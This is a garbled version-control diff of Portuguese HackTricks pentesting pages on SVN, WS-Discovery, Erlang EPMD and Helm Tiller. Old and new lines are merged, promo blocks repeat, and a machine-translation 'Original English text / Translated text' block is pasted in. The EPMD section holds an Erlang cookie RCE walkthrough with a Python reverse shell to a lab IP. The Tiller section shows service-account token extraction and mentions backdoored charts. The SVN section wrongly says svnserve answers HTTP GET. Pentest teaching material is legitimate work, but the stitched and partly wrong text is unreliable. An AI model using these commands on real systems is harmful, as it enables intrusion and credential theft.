- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -1,16 +1,31 @@
# Informação Básica ```markdown
<details>
O Subversion é uma das muitas opções de controle de versão disponíveis atualmente. É frequentemente abreviado como SVN.\ <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
O Subversion é usado para manter versões atuais e históricas de projetos. O Subversion é um sistema de controle de versão centralizado de código aberto. É licenciado sob a Apache. Também é referido como um sistema de controle de versão e revisão de software.
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Informações Básicas
Subversion é uma das muitas opções de controle de versão disponíveis hoje. É frequentemente abreviado como SVN.\
Subversion é usado para manter versões atuais e históricas de projetos. Subversion é um sistema de controle de versão centralizado de código aberto. É licenciado sob Apache. Também é referido como um sistema de controle de versão e revisão de software.
**Porta padrão:** 3690 **Porta padrão:** 3690
``` ```
```
PORT STATE SERVICE PORT STATE SERVICE
3690/tcp open svnserve Subversion 3690/tcp open svnserve Subversion
``` ```
## Banner Grabbing ## Captura de Banner
Banner Grabbing (ou coleta de banner) é uma técnica utilizada para obter informações sobre o software e a versão do servidor SVN. Isso pode ser feito usando ferramentas como o Telnet ou o Netcat para se conectar ao servidor e enviar uma solicitação HTTP GET. O servidor SVN responderá com um cabeçalho HTTP que inclui informações sobre o software e a versão em uso. Essas informações podem ser úteis para identificar vulnerabilidades conhecidas e explorá-las.
``` ```
nc -vn 10.10.10.10 3690 nc -vn 10.10.10.10 3690
``` ```
@ -23,16 +38,14 @@ svn up -r 2 #Go to revision 2 inside the checkout folder
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -1,12 +1,29 @@
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Informações Básicas # Informações Básicas
O Protocolo de Descoberta Dinâmica de Serviços da Web (WS-Discovery) é um protocolo de descoberta multicast que localiza serviços em uma rede local. O Protocolo de Descoberta Dinâmica de Serviços Web (WS-Discovery) é um protocolo de descoberta multicast que localiza serviços em uma rede local.
Na terminologia do WS-Discovery, um Serviço Alvo é um endpoint que se torna disponível para descoberta, enquanto um Cliente é um endpoint que procura por Serviços Alvo. Ambos usam consultas SOAP sobre UDP para o endereço multicast 239.255.255.250 com a porta UDP de destino 3702. Na terminologia do WS-Discovery, um Serviço Alvo é um ponto final que se torna disponível para descoberta, enquanto um Cliente é um ponto final que procura por Serviços Alvo. Ambos usam consultas SOAP sobre UDP para o endereço multicast 239.255.255.250 com a porta UDP de destino 3702.
![](<../.gitbook/assets/image (633).png>) ![](<../.gitbook/assets/image (633).png>)
Um Serviço Alvo envia um multicast Hello 1 quando se junta a uma rede. O Serviço Alvo pode receber um Probe multicast 2, uma mensagem enviada por um Cliente procurando um Serviço Alvo por Tipo, a qualquer momento. O Tipo é um identificador para o endpoint. Por exemplo, uma câmera IP pode ter NetworkVideoTransmitter como Tipo. Ele também pode enviar um Probe Match unicast 3 se o Serviço Alvo corresponder a um Probe (outros Serviços Alvo correspondentes também podem enviar Probe Matches unicast). Da mesma forma, um Serviço Alvo pode receber um Resolve multicast 4 a qualquer momento, uma mensagem enviada por um Cliente procurando um Alvo por nome, e enviar um Resolve Match unicast 5 se for o alvo de um Resolve. Finalmente, quando um Serviço Alvo deixa uma rede, ele faz um esforço para enviar um multicast Bye 6. Um Serviço Alvo envia um Hello multicast 1 quando se junta a uma rede. O Serviço Alvo pode receber um Probe multicast 2, uma mensagem enviada por um Cliente procurando por um Serviço Alvo por Tipo, a qualquer momento. O Tipo é um identificador para o ponto final. Por exemplo, uma câmera IP poderia ter NetworkVideoTransmitter como um Tipo. Ele também pode enviar um Probe Match unicast 3 se o Serviço Alvo corresponder a um Probe (outros Serviços Alvo correspondentes também podem enviar Probe Matches unicast). Da mesma forma, um Serviço Alvo pode receber um Resolve multicast 4 a qualquer momento, uma mensagem enviada por um
Cliente procurando por um Alvo pelo nome, e enviar um Resolve Match unicast 5 se for o alvo de um Resolve. Finalmente, quando um Serviço Alvo deixa uma rede, ele se esforça para enviar um Bye multicast 6.
**Porta padrão**: 3702 **Porta padrão**: 3702
``` ```
@ -20,16 +37,14 @@ PORT STATE SERVICE
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -1,13 +1,28 @@
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Informações Básicas # Informações Básicas
O daemon do mapeador de porta Erlang é usado para coordenar instâncias Erlang distribuídas. Seu trabalho é **manter o controle de qual nome de nó escuta em qual endereço**. Portanto, o epmd mapeia nomes simbólicos de nó para endereços de máquina. O daemon de mapeamento de portas erlang é usado para coordenar instâncias distribuídas de erlang. Sua função é **rastrear qual nome de nó escuta em qual endereço**. Assim, o epmd mapeia nomes de nós simbólicos para endereços de máquinas.
**Porta padrão**: 4369 **Porta padrão**: 4369
``` ```
PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon 4369/tcp open epmd Erlang Port Mapper Daemon
``` ```
Isso é usado por padrão em instalações do RabbitMQ e CouchDB. Este é usado por padrão nas instalações do RabbitMQ e CouchDB.
# Enumeração # Enumeração
@ -40,7 +55,7 @@ PORT STATE SERVICE VERSION
## Conexão Remota ## Conexão Remota
Se você conseguir **vazar o cookie de autenticação**, será capaz de executar código no host. Geralmente, esse cookie está localizado em `~/.erlang.cookie` e é gerado pelo Erlang na primeira inicialização. Se não for modificado ou definido manualmente, é uma string aleatória \[A:Z] com um comprimento de 20 caracteres. Se você conseguir **vazar o cookie de Autenticação**, você será capaz de executar código no host. Normalmente, este cookie está localizado em `~/.erlang.cookie` e é gerado pelo erlang na primeira inicialização. Se não for modificado ou configurado manualmente, é uma string aleatória \[A:Z] com um comprimento de 20 caracteres.
```bash ```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10] Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
@ -53,7 +68,7 @@ At last, we can start an erlang shell on the remote system.
"uid=0(root) gid=0(root) groups=0(root)\n" "uid=0(root) gid=0(root) groups=0(root)\n"
``` ```
Mais informações em [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\ Mais informações em [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
O autor também compartilha um programa para forçar a senha do cookie: O autor também compartilha um programa para brutforce o cookie:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %} {% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
@ -67,7 +82,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]). (anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
``` ```
Exemplo retirado de [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\ Exemplo retirado de [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
Você pode usar a máquina **Canape HTB para praticar** como **explorar essa vulnerabilidade**. Você pode usar a **máquina Canape HTB para** **praticar** como **explorar essa vulnerabilidade**.
## Metasploit ## Metasploit
```bash ```bash
@ -76,21 +91,19 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
``` ```
# Shodan # Shodan
* `port:4369 "na porta"` * `port:4369 "at port"`
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -1,6 +1,21 @@
# Informação Básica <details>
Helm é o **gerenciador de pacotes** para Kubernetes. Ele permite empacotar arquivos YAML e distribuí-los em repositórios públicos e privados. Esses pacotes são chamados de **Helm Charts**. **Tiller** é o **serviço** que é executado por padrão na porta 44134 oferecendo o serviço. <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Informações Básicas
Helm é o **gerenciador de pacotes** para Kubernetes. Permite empacotar arquivos YAML e distribuí-los em repositórios públicos e privados. Esses pacotes são chamados de **Helm Charts**. **Tiller** é o **serviço** **executando** por padrão na porta 44134 oferecendo o serviço.
**Porta padrão:** 44134 **Porta padrão:** 44134
``` ```
@ -9,7 +24,7 @@ PORT STATE SERVICE VERSION
``` ```
# Enumeração # Enumeração
Se você pode **enumerar pods e/ou serviços** de diferentes namespaces, enumere-os e procure pelos que possuem **"tiller" em seu nome**: Se você puder **enumerar pods e/ou serviços** de diferentes namespaces, enumere-os e procure pelos que têm **"tiller" em seus nomes**:
```bash ```bash
kubectl get pods | grep -i "tiller" kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller" kubectl get services | grep -i "tiller"
@ -18,131 +33,7 @@ kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller" kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller" kubectl get services -n <namespace> | grep -i "tiller"
``` ```
Original English text: Exemplos:
## Pentesting Tiller (Helm)
### Introduction
Helm is a package manager for Kubernetes that allows developers and operators to more easily package, configure, and deploy applications and services onto Kubernetes clusters. Helm is composed of two main components: the Helm client and the Tiller server. The Helm client is a command-line tool that allows users to interact with the Tiller server, which is responsible for managing the lifecycle of Kubernetes resources created by Helm charts.
### Tiller Security
Tiller is a privileged component of the Kubernetes cluster, with the ability to create, modify, and delete any Kubernetes resource in any namespace. As such, it is important to ensure that Tiller is properly secured to prevent unauthorized access and potential compromise of the entire cluster.
### Pentesting Tiller
#### Tiller Deployment
The first step in pentesting Tiller is to identify the Tiller deployment within the Kubernetes cluster. This can be done using the `kubectl` command-line tool:
```bash
$ kubectl get deployments --all-namespaces | grep tiller-deploy
kube-system tiller-deploy-5c6f9c7c7f-8q8qz 1/1 Running 0 2m
```
Once the Tiller deployment has been identified, the next step is to obtain the Tiller service account token. This token is used by the Helm client to authenticate with the Tiller server and issue commands.
#### Tiller Service Account Token
The Tiller service account token can be obtained using the `kubectl` command-line tool:
```bash
$ kubectl get secret --namespace kube-system $(kubectl get serviceaccount --namespace kube-system tiller -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 --decode
```
The output of this command will be the Tiller service account token, which can be used to authenticate with the Tiller server.
#### Tiller API
Once the Tiller service account token has been obtained, the next step is to interact with the Tiller API. This can be done using the Helm client:
```bash
$ helm init --client-only
$ export TILLER_NAMESPACE=kube-system
$ helm list
```
The `helm init --client-only` command initializes the Helm client and sets the Tiller namespace to `kube-system`. The `helm list` command then lists all of the releases managed by Tiller.
#### Tiller Exploitation
With access to the Tiller API, an attacker can perform a variety of actions, including:
- Listing all of the releases managed by Tiller
- Installing new releases
- Upgrading existing releases
- Deleting releases
- Reading and modifying the Kubernetes resources managed by Tiller
To exploit Tiller, an attacker can use the Helm client to install a malicious chart that includes a backdoor or other malicious code. Once the chart has been installed, the attacker can use the Tiller API to execute the backdoor or other malicious code.
### Conclusion
Tiller is a critical component of the Helm package manager for Kubernetes, and as such, it is important to ensure that it is properly secured. Pentesting Tiller can help identify potential vulnerabilities and weaknesses in the Tiller deployment, allowing organizations to take steps to mitigate these risks.
Translated text:
## Pentesting Tiller (Helm)
### Introdução
O Helm é um gerenciador de pacotes para Kubernetes que permite que desenvolvedores e operadores empacotem, configurem e implantem aplicativos e serviços em clusters Kubernetes com mais facilidade. O Helm é composto por dois componentes principais: o cliente Helm e o servidor Tiller. O cliente Helm é uma ferramenta de linha de comando que permite aos usuários interagir com o servidor Tiller, que é responsável por gerenciar o ciclo de vida dos recursos Kubernetes criados pelos gráficos Helm.
### Segurança do Tiller
O Tiller é um componente privilegiado do cluster Kubernetes, com a capacidade de criar, modificar e excluir qualquer recurso Kubernetes em qualquer namespace. Como tal, é importante garantir que o Tiller esteja devidamente protegido para evitar acesso não autorizado e possível comprometimento de todo o cluster.
### Pentesting Tiller
#### Implantação do Tiller
O primeiro passo na pentesting do Tiller é identificar a implantação do Tiller dentro do cluster Kubernetes. Isso pode ser feito usando a ferramenta de linha de comando `kubectl`:
```bash
$ kubectl get deployments --all-namespaces | grep tiller-deploy
kube-system tiller-deploy-5c6f9c7c7f-8q8qz 1/1 Running 0 2m
```
Depois que a implantação do Tiller for identificada, o próximo passo é obter o token da conta de serviço do Tiller. Este token é usado pelo cliente Helm para autenticar-se com o servidor Tiller e emitir comandos.
#### Token da conta de serviço do Tiller
O token da conta de serviço do Tiller pode ser obtido usando a ferramenta de linha de comando `kubectl`:
```bash
$ kubectl get secret --namespace kube-system $(kubectl get serviceaccount --namespace kube-system tiller -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 --decode
```
A saída deste comando será o token da conta de serviço do Tiller, que pode ser usado para autenticar-se com o servidor Tiller.
#### API do Tiller
Depois que o token da conta de serviço do Tiller for obtido, o próximo passo é interagir com a API do Tiller. Isso pode ser feito usando o cliente Helm:
```bash
$ helm init --client-only
$ export TILLER_NAMESPACE=kube-system
$ helm list
```
O comando `helm init --client-only` inicializa o cliente Helm e define o namespace do Tiller como `kube-system`. O comando `helm list` lista todos os lançamentos gerenciados pelo Tiller.
#### Exploração do Tiller
Com acesso à API do Tiller, um invasor pode realizar uma variedade de ações, incluindo:
- Listar todos os lançamentos gerenciados pelo Tiller
- Instalar novos lançamentos
- Atualizar lançamentos existentes
- Excluir lançamentos
- Ler e modificar os recursos Kubernetes gerenciados pelo Tiller
Para explorar o Tiller, um invasor pode usar o cliente Helm para instalar um gráfico malicioso que inclui uma porta dos fundos ou outro código malicioso. Depois que o gráfico for instalado, o invasor pode usar a API do Tiller para executar a porta dos fundos ou outro código malicioso.
### Conclusão
O Tiller é um componente crítico do gerenciador de pacotes Helm para Kubernetes e, como tal, é importante garantir que esteja devidamente protegido. A pentesting do Tiller pode ajudar a identificar possíveis vulnerabilidades e fraquezas na implantação do Tiller, permitindo que as organizações tomem medidas para mitigar esses riscos.
```bash ```bash
kubectl get pods -n kube-system kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE NAME READY STATUS RESTARTS AGE
@ -158,20 +49,35 @@ Você também pode tentar encontrar este serviço em execução verificando a po
```bash ```bash
sudo nmap -sS -p 44134 <IP> sudo nmap -sS -p 44134 <IP>
``` ```
Depois de descobri-lo, você pode se comunicar com ele baixando o aplicativo cliente helm. Você pode usar ferramentas como `homebrew`, ou olhar [**a página oficial de lançamentos**](https://github.com/helm/helm/releases)**.** Para mais detalhes, ou para outras opções, veja [o guia de instalação](https://v2.helm.sh/docs/using\_helm/#installing-helm). Uma vez descoberto, você pode se comunicar com ele baixando o cliente da aplicação helm. Você pode usar ferramentas como `homebrew`, ou consultar [**a página oficial de lançamentos**](https://github.com/helm/helm/releases)**.** Para mais detalhes, ou para outras opções, veja [o guia de instalação](https://v2.helm.sh/docs/using_helm/#installing-helm).
Então, você pode **enumerar o serviço**: Então, você pode **enumerar o serviço**:
``` ```
helm --host tiller-deploy.kube-system:44134 version helm --host tiller-deploy.kube-system:44134 version
``` ```
## Escalação de Privilégios ## Escalonamento de Privilégios
Por padrão, o **Helm2** foi instalado no **namespace kube-system** com **privilégios elevados**, portanto, se você encontrar o serviço e tiver acesso a ele, isso poderá permitir que você **elevasse seus privilégios**. Por padrão, o **Helm2** era instalado no **namespace kube-system** com **privilégios elevados**, então se você encontrar o serviço e tiver acesso a ele, isso poderá permitir que você **escale privilégios**.
